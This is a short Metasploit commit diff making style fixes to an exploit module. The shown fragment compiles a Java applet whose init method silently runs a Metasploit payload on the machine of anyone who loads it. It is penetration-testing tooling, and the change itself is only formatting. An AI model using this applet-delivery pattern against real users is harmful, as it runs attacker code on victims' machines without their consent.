style compliance fixes
git-svn-id: file:///home/svn/framework3/trunk@11516 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -117,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
print_error
|
||||
|
||||
@use_static = true
|
||||
else
|
||||
else
|
||||
cp = "#{datastore["JavaCache"]}:" + File.join(Msf::Config.data_directory, "java")
|
||||
compile( [ "#{datastore["APPLETNAME"]}" ] , [ applet_code ], [ "-classpath", "#{cp}" ])
|
||||
applet_file = File.join(datastore["JavaCache"], "#{datastore["APPLETNAME"]}.class")
|
||||
@@ -241,20 +241,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def applet_code
|
||||
applet = %Q|
|
||||
applet = <<-EOS
|
||||
import java.applet.*;
|
||||
import metasploit.*;
|
||||
|
||||
public class #{datastore["APPLETNAME"]} extends Applet {
|
||||
public void init() {
|
||||
try {
|
||||
Payload.main(null);
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
public void init() {
|
||||
try {
|
||||
Payload.main(null);
|
||||
} catch (Exception ex) {
|
||||
//ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
||||
EOS
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user